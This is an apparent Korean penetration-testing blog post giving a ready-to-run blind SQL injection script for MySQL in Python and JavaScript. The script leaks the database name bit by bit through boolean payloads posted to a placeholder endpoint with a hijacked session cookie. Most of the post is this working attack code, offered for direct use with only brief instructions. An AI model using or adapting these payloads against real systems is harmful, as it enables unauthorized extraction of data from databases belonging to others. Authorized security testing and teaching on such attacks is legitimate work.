annyoung

Blind SQL Injection(MySQL) 본문

모의해킹

Blind SQL Injection(MySQL)

nopsled 2025. 2. 27. 18:47

SQL 인젝션 벡터를 cURL로 복사한 후에 인터넷에서 Curl converter를 이용해서 포팅한 후 사용하면 된다.

 

여기서 컨버팅되는 headers는 config.py로 따로 뺀 후에 headers로 그대로 선언해주면 되고, 세션은 그냥 쿠키만 따로 오버라이딩해서 사용하면 된다. (로그인까지 만드는건 시간낭비...!)

 

python

import requests
from config import headers
from urllib.parse import quote_plus

bin_str = ''
data = "idx=1"
headers['Cookie'] = '' # overriding cookie for login session

for i in range(1, 13): # length(database()): 12
    for l in range(1, 8): # for the padding size: 7
        payload = f"' and substr(lpad(bin(ascii(substr(lower(database()), {i}, 1))),7,0), {l}, 1)=1#"
        bin_str += '1' if requests.post(
            'https://example.com/view.asp',
            headers=headers,
            data=data + quote_plus(payload),
        ).status_code == 200 else '0'
    bin_str += ',' if i != 12 else ''
    print(bin_str)

print('db_name:', ''.join([chr(int(_, 2)) for _ in bin_str.split(',')]))

 

javascript

var binString = '';

for (let i=1; i<13; i++) { // length(database()): 12
    for (let l=1; l<8; l++) { // for the padding size: 7
        var payload = `' and substr(lpad(bin(ascii(substr(lower(database()),${i},1))),7,0),${l},1)=1#`
        binString += await (await fetch("https://example.com/view.asp", {
            method: "POST",
            body: new URLSearchParams(`idx=1${payload}`),
        })).status === 200 ? '1' : '0';
    }
    binString += i != 12 ? ',' : '';
    console.log(binString);
}

console.log('db_name:', binString.split(',').map(_ => String.fromCharCode(parseInt(_, 2))).join(''));

 

둘이 기능은 똑같은데 입맛에 따라 바꿔서 쓰면된다.

'모의해킹' 카테고리의 다른 글

Swaager에 대해서  (0) 2025.03.05
Union SQL Injection(MySQL)  (0) 2025.02.27
파일 다운로드 취약점  (0) 2025.02.21
XSS input hidden  (0) 2025.02.11
ms teams가 sourcemap에 대하는 자세  (0) 2024.11.01
Comments